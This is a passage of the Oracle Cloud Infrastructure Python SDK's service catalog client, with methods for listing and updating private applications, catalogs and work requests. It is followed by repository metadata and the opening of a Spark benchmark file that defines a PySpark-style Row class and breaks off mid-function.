kwargs.get("sort_by", missing), "sortOrder": kwargs.get("sort_order", missing), "displayName": kwargs.get("display_name", missing) } query_params = {k: v for (k, v) in six.iteritems(query_params) if v is not missing and v is not None} header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, query_params=query_params, header_params=header_params, response_type="PrivateApplicationPackageCollection") else: return self.base_client.call_api( resource_path=resource_path, method=method, query_params=query_params, header_params=header_params, response_type="PrivateApplicationPackageCollection") def list_private_applications(self, compartment_id, **kwargs): """ Lists all the private applications in a given compartment. :param str compartment_id: (required) The unique identifier for the compartment. :param str private_application_id: (optional) The unique identifier for the private application. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param int limit: (optional) How many records to return. Specify a value greater than zero and less than or equal to 1000. The default is 30. :param str page: (optional) The value of the `opc-next-page` response header from the previous \"List\" call. :param str sort_by: (optional) The field to use to sort listed results. You can only specify one field to sort by. Default is `TIMECREATED`. Allowed values are: "TIMECREATED", "LIFECYCLESTATE" :param str sort_order: (optional) The sort order to apply, either `ASC` or `DESC`. Default is `ASC`. Allowed values are: "ASC", "DESC" :param str display_name: (optional) Exact match name filter. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.service_catalog.models.PrivateApplicationCollection` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/servicecatalog/list_private_applications.py.html>`__ to see an example of how to use list_private_applications API. """ resource_path = "/privateApplications" method = "GET" # Don't accept unknown kwargs expected_kwargs = [ "retry_strategy", "private_application_id", "opc_request_id", "limit", "page", "sort_by", "sort_order", "display_name" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "list_private_applications got unknown kwargs: {!r}".format(extra_kwargs)) if 'sort_by' in kwargs: sort_by_allowed_values = ["TIMECREATED", "LIFECYCLESTATE"] if kwargs['sort_by'] not in sort_by_allowed_values: raise ValueError( "Invalid value for `sort_by`, must be one of {0}".format(sort_by_allowed_values) ) if 'sort_order' in kwargs: sort_order_allowed_values = ["ASC", "DESC"] if kwargs['sort_order'] not in sort_order_allowed_values: raise ValueError( "Invalid value for `sort_order`, must be one of {0}".format(sort_order_allowed_values) ) query_params = { "compartmentId": compartment_id, "privateApplicationId": kwargs.get("private_application_id", missing), "limit": kwargs.get("limit", missing), "page": kwargs.get("page", missing), "sortBy": kwargs.get("sort_by", missing), "sortOrder": kwargs.get("sort_order", missing), "displayName": kwargs.get("display_name", missing) } query_params = {k: v for (k, v) in six.iteritems(query_params) if v is not missing and v is not None} header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, query_params=query_params, header_params=header_params, response_type="PrivateApplicationCollection") else: return self.base_client.call_api( resource_path=resource_path, method=method, query_params=query_params, header_params=header_params, response_type="PrivateApplicationCollection") def list_service_catalog_associations(self, **kwargs): """ Lists all the resource associations for a specific service catalog. :param str service_catalog_association_id: (optional) The unique identifier for the service catalog association. :param str service_catalog_id: (optional) The unique identifier for the service catalog. :param str entity_id: (optional) The unique identifier of the entity associated with service catalog. :param str entity_type: (optional) The type of the application in the service catalog. :param int limit: (optional) How many records to return. Specify a value greater than zero and less than or equal to 1000. The default is 30. :param str page: (optional) The value of the `opc-next-page` response header from the previous \"List\" call. :param str sort_order: (optional) The sort order to apply, either `ASC` or `DESC`. Default is `ASC`. Allowed values are: "ASC", "DESC" :param str sort_by: (optional) Default is `TIMECREATED` Allowed values are: "TIMECREATED" :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.service_catalog.models.ServiceCatalogAssociationCollection` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/servicecatalog/list_service_catalog_associations.py.html>`__ to see an example of how to use list_service_catalog_associations API. """ resource_path = "/serviceCatalogAssociations" method = "GET" # Don't accept unknown kwargs expected_kwargs = [ "retry_strategy", "service_catalog_association_id", "service_catalog_id", "entity_id", "entity_type", "limit", "page", "sort_order", "sort_by", "opc_request_id" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "list_service_catalog_associations got unknown kwargs: {!r}".format(extra_kwargs)) if 'sort_order' in kwargs: sort_order_allowed_values = ["ASC", "DESC"] if kwargs['sort_order'] not in sort_order_allowed_values: raise ValueError( "Invalid value for `sort_order`, must be one of {0}".format(sort_order_allowed_values) ) if 'sort_by' in kwargs: sort_by_allowed_values = ["TIMECREATED"] if kwargs['sort_by'] not in sort_by_allowed_values: raise ValueError( "Invalid value for `sort_by`, must be one of {0}".format(sort_by_allowed_values) ) query_params = { "serviceCatalogAssociationId": kwargs.get("service_catalog_association_id", missing), "serviceCatalogId": kwargs.get("service_catalog_id", missing), "entityId": kwargs.get("entity_id", missing), "entityType": kwargs.get("entity_type", missing), "limit": kwargs.get("limit", missing), "page": kwargs.get("page", missing), "sortOrder": kwargs.get("sort_order", missing), "sortBy": kwargs.get("sort_by", missing) } query_params = {k: v for (k, v) in six.iteritems(query_params) if v is not missing and v is not None} header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, query_params=query_params, header_params=header_params, response_type="ServiceCatalogAssociationCollection") else: return self.base_client.call_api( resource_path=resource_path, method=method, query_params=query_params, header_params=header_params, response_type="ServiceCatalogAssociationCollection") def list_service_catalogs(self, compartment_id, **kwargs): """ Lists all the service catalogs in the given compartment. :param str compartment_id: (required) The unique identifier for the compartment. :param str service_catalog_id: (optional) The unique identifier for the service catalog. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param int limit: (optional) How many records to return. Specify a value greater than zero and less than or equal to 1000. The default is 30. :param str page: (optional) The value of the `opc-next-page` response header from the previous \"List\" call. :param str sort_by: (optional) Default is `TIMECREATED` Allowed values are: "TIMECREATED" :param str sort_order: (optional) The sort order to apply, either `ASC` or `DESC`. Default is `ASC`. Allowed values are: "ASC", "DESC" :param str display_name: (optional) Exact match name filter. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.service_catalog.models.ServiceCatalogCollection` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/servicecatalog/list_service_catalogs.py.html>`__ to see an example of how to use list_service_catalogs API. """ resource_path = "/serviceCatalogs" method = "GET" # Don't accept unknown kwargs expected_kwargs = [ "retry_strategy", "service_catalog_id", "opc_request_id", "limit", "page", "sort_by", "sort_order", "display_name" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "list_service_catalogs got unknown kwargs: {!r}".format(extra_kwargs)) if 'sort_by' in kwargs: sort_by_allowed_values = ["TIMECREATED"] if kwargs['sort_by'] not in sort_by_allowed_values: raise ValueError( "Invalid value for `sort_by`, must be one of {0}".format(sort_by_allowed_values) ) if 'sort_order' in kwargs: sort_order_allowed_values = ["ASC", "DESC"] if kwargs['sort_order'] not in sort_order_allowed_values: raise ValueError( "Invalid value for `sort_order`, must be one of {0}".format(sort_order_allowed_values) ) query_params = { "compartmentId": compartment_id, "serviceCatalogId": kwargs.get("service_catalog_id", missing), "limit": kwargs.get("limit", missing), "page": kwargs.get("page", missing), "sortBy": kwargs.get("sort_by", missing), "sortOrder": kwargs.get("sort_order", missing), "displayName": kwargs.get("display_name", missing) } query_params = {k: v for (k, v) in six.iteritems(query_params) if v is not missing and v is not None} header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, query_params=query_params, header_params=header_params, response_type="ServiceCatalogCollection") else: return self.base_client.call_api( resource_path=resource_path, method=method, query_params=query_params, header_params=header_params, response_type="ServiceCatalogCollection") def list_work_request_errors(self, work_request_id, **kwargs): """ Return a (paginated) list of errors for a given work request. :param str work_request_id: (required) The ID of the asynchronous request. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param str page: (optional) The value of the `opc-next-page` response header from the previous \"List\" call. :param int limit: (optional) How many records to return. Specify a value greater than zero and less than or equal to 1000. The default is 30. :param str sort_by: (optional) The field to sort by. Only one sort order may be provided. Default order for timeAccepted is descending. Allowed values are: "timeAccepted" :param str sort_order: (optional) The sort order to apply, either `ASC` or `DESC`. Default is `ASC`. Allowed values are: "ASC", "DESC" :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.service_catalog.models.WorkRequestErrorCollection` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/servicecatalog/list_work_request_errors.py.html>`__ to see an example of how to use list_work_request_errors API. """ resource_path = "/workRequests/{workRequestId}/errors" method = "GET" # Don't accept unknown kwargs expected_kwargs = [ "retry_strategy", "opc_request_id", "page", "limit", "sort_by", "sort_order" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "list_work_request_errors got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "workRequestId": work_request_id } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) if 'sort_by' in kwargs: sort_by_allowed_values = ["timeAccepted"] if kwargs['sort_by'] not in sort_by_allowed_values: raise ValueError( "Invalid value for `sort_by`, must be one of {0}".format(sort_by_allowed_values) ) if 'sort_order' in kwargs: sort_order_allowed_values = ["ASC", "DESC"] if kwargs['sort_order'] not in sort_order_allowed_values: raise ValueError( "Invalid value for `sort_order`, must be one of {0}".format(sort_order_allowed_values) ) query_params = { "page": kwargs.get("page", missing), "limit": kwargs.get("limit", missing), "sortBy": kwargs.get("sort_by", missing), "sortOrder": kwargs.get("sort_order", missing) } query_params = {k: v for (k, v) in six.iteritems(query_params) if v is not missing and v is not None} header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, response_type="WorkRequestErrorCollection") else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, response_type="WorkRequestErrorCollection") def list_work_request_logs(self, work_request_id, **kwargs): """ Return a (paginated) list of logs for a given work request. :param str work_request_id: (required) The ID of the asynchronous request. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param str page: (optional) The value of the `opc-next-page` response header from the previous \"List\" call. :param int limit: (optional) How many records to return. Specify a value greater than zero and less than or equal to 1000. The default is 30. :param str sort_by: (optional) The field to sort by. Only one sort order may be provided. Default order for timeAccepted is descending. Allowed values are: "timeAccepted" :param str sort_order: (optional) The sort order to apply, either `ASC` or `DESC`. Default is `ASC`. Allowed values are: "ASC", "DESC" :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.service_catalog.models.WorkRequestLogEntryCollection` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/servicecatalog/list_work_request_logs.py.html>`__ to see an example of how to use list_work_request_logs API. """ resource_path = "/workRequests/{workRequestId}/logs" method = "GET" # Don't accept unknown kwargs expected_kwargs = [ "retry_strategy", "opc_request_id", "page", "limit", "sort_by", "sort_order" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "list_work_request_logs got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "workRequestId": work_request_id } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) if 'sort_by' in kwargs: sort_by_allowed_values = ["timeAccepted"] if kwargs['sort_by'] not in sort_by_allowed_values: raise ValueError( "Invalid value for `sort_by`, must be one of {0}".format(sort_by_allowed_values) ) if 'sort_order' in kwargs: sort_order_allowed_values = ["ASC", "DESC"] if kwargs['sort_order'] not in sort_order_allowed_values: raise ValueError( "Invalid value for `sort_order`, must be one of {0}".format(sort_order_allowed_values) ) query_params = { "page": kwargs.get("page", missing), "limit": kwargs.get("limit", missing), "sortBy": kwargs.get("sort_by", missing), "sortOrder": kwargs.get("sort_order", missing) } query_params = {k: v for (k, v) in six.iteritems(query_params) if v is not missing and v is not None} header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, response_type="WorkRequestLogEntryCollection") else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, response_type="WorkRequestLogEntryCollection") def list_work_requests(self, **kwargs): """ Lists the work requests in a compartment. :param str compartment_id: (optional) The unique identifier for the compartment. :param str work_request_id: (optional) The ID of the asynchronous work request. :param str status: (optional) A filter to return only resources their lifecycleState matches the given OperationStatus. Allowed values are: "ACCEPTED", "FAILED", "SUCCEEDED" :param str resource_id: (optional) The ID of the resource affected by the work request :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param str page: (optional) The value of the `opc-next-page` response header from the previous \"List\" call. :param int limit: (optional) How many records to return. Specify a value greater than zero and less than or equal to 1000. The default is 30. :param str sort_order: (optional) The sort order to apply, either `ASC` or `DESC`. Default is `ASC`. Allowed values are: "ASC", "DESC" :param str sort_by: (optional) The field to sort by. Only one sort order may be provided. Default order for timeAccepted is descending. Allowed values are: "timeAccepted" :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.service_catalog.models.WorkRequestSummaryCollection` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/servicecatalog/list_work_requests.py.html>`__ to see an example of how to use list_work_requests API. """ resource_path = "/workRequests" method = "GET" # Don't accept unknown kwargs expected_kwargs = [ "retry_strategy", "compartment_id", "work_request_id", "status", "resource_id", "opc_request_id", "page", "limit", "sort_order", "sort_by" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "list_work_requests got unknown kwargs: {!r}".format(extra_kwargs)) if 'status' in kwargs: status_allowed_values = ["ACCEPTED", "FAILED", "SUCCEEDED"] if kwargs['status'] not in status_allowed_values: raise ValueError( "Invalid value for `status`, must be one of {0}".format(status_allowed_values) ) if 'sort_order' in kwargs: sort_order_allowed_values = ["ASC", "DESC"] if kwargs['sort_order'] not in sort_order_allowed_values: raise ValueError( "Invalid value for `sort_order`, must be one of {0}".format(sort_order_allowed_values) ) if 'sort_by' in kwargs: sort_by_allowed_values = ["timeAccepted"] if kwargs['sort_by'] not in sort_by_allowed_values: raise ValueError( "Invalid value for `sort_by`, must be one of {0}".format(sort_by_allowed_values) ) query_params = { "compartmentId": kwargs.get("compartment_id", missing), "workRequestId": kwargs.get("work_request_id", missing), "status": kwargs.get("status", missing), "resourceId": kwargs.get("resource_id", missing), "page": kwargs.get("page", missing), "limit": kwargs.get("limit", missing), "sortOrder": kwargs.get("sort_order", missing), "sortBy": kwargs.get("sort_by", missing) } query_params = {k: v for (k, v) in six.iteritems(query_params) if v is not missing and v is not None} header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, query_params=query_params, header_params=header_params, response_type="WorkRequestSummaryCollection") else: return self.base_client.call_api( resource_path=resource_path, method=method, query_params=query_params, header_params=header_params, response_type="WorkRequestSummaryCollection") def update_private_application(self, private_application_id, update_private_application_details, **kwargs): """ Updates the details of an existing private application. :param str private_application_id: (required) The unique identifier for the private application. :param oci.service_catalog.models.UpdatePrivateApplicationDetails update_private_application_details: (required) The details for updating the private application. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param str if_match: (optional) For optimistic concurrency control. In the PUT or DELETE call for a resource, set the `if-match` parameter to the value of the etag from a previous GET or POST response for that resource. The resource will be updated or deleted only if the etag you provide matches the resource's current etag value. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.service_catalog.models.PrivateApplication` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/servicecatalog/update_private_application.py.html>`__ to see an example of how to use update_private_application API. """ resource_path = "/privateApplications/{privateApplicationId}" method = "PUT" # Don't accept unknown kwargs expected_kwargs = [ "retry_strategy", "opc_request_id", "if_match" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "update_private_application got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "privateApplicationId": private_application_id } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing), "if-match": kwargs.get("if_match", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, body=update_private_application_details, response_type="PrivateApplication") else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, body=update_private_application_details, response_type="PrivateApplication") def update_service_catalog(self, service_catalog_id, update_service_catalog_details, **kwargs): """ Updates the details of a previously created service catalog. :param str service_catalog_id: (required) The unique identifier for the service catalog. :param oci.service_catalog.models.UpdateServiceCatalogDetails update_service_catalog_details: (required) Details to update for a service catalog. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param str if_match: (optional) For optimistic concurrency control. In the PUT or DELETE call for a resource, set the `if-match` parameter to the value of the etag from a previous GET or POST response for that resource. The resource will be updated or deleted only if the etag you provide matches the resource's current etag value. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.service_catalog.models.ServiceCatalog` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/servicecatalog/update_service_catalog.py.html>`__ to see an example of how to use update_service_catalog API. """ resource_path = "/serviceCatalogs/{serviceCatalogId}" method = "PUT" # Don't accept unknown kwargs expected_kwargs = [ "retry_strategy", "opc_request_id", "if_match" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "update_service_catalog got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "serviceCatalogId": service_catalog_id } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing), "if-match": kwargs.get("if_match", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, body=update_service_catalog_details, response_type="ServiceCatalog") else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, body=update_service_catalog_details, response_type="ServiceCatalog")

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1

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null

0

7

3dbd0f548c183e0fa94fb303f2bcba72893a33a1

8,984

py

Python

spark/python/benchmark_SPARK_9488.py

0x0FFF/experiments

c9533c6ad6141a48303a43947d89f2322aeed70d

[ "Apache-2.0" ]

null

spark/python/benchmark_SPARK_9488.py

0x0FFF/experiments

c9533c6ad6141a48303a43947d89f2322aeed70d

[ "Apache-2.0" ]

null

spark/python/benchmark_SPARK_9488.py

0x0FFF/experiments

c9533c6ad6141a48303a43947d89f2322aeed70d

[ "Apache-2.0" ]

null

import random import time from hashlib import md5 def _create_row(fields, values): row = Row(*values) row.__fields__ = fields return row class Row(tuple): """ A row in L{DataFrame}. The fields in it can be accessed like attributes. Row can be used to create a row object by using named arguments, the fields will be sorted by names. >>> row = Row(name="Alice", age=11) >>> row Row(age=11, name='Alice') >>> row.name, row.age ('Alice', 11) Row also can be used to create another Row like class, then it could be used to create Row objects, such as >>> Person = Row("name", "age") >>> Person <Row(name, age)> >>> Person("Alice", 11) Row(name='Alice', age=11) """ def __new__(self, *args, **kwargs): if args and kwargs: raise ValueError("Can not use both args " "and kwargs to create Row") if args: # create row class or objects return tuple.__new__(self, args) elif kwargs: # create row objects names = sorted(kwargs.keys()) row = tuple.__new__(self, [kwargs[n] for n in names]) row.__fields__ = names return row else: raise ValueError("No args or kwargs") def asDict(self, recursive=False): """ Return as an dict :param recursive: turns the nested Row as dict (default: False). >>> Row(name="Alice", age=11).asDict() == {'name': 'Alice', 'age': 11} True >>> row = Row(key=1, value=Row(name='a', age=2)) >>> row.asDict() == {'key': 1, 'value': Row(age=2, name='a')} True >>> row.asDict(True) == {'key': 1, 'value': {'name': 'a', 'age': 2}} True """ if not hasattr(self, "__fields__"): raise TypeError("Cannot convert a Row class into dict") if recursive: def conv(obj): if isinstance(obj, Row): return obj.asDict(True) elif isinstance(obj, list): return [conv(o) for o in obj] elif isinstance(obj, dict): return dict((k, conv(v)) for k, v in obj.items()) 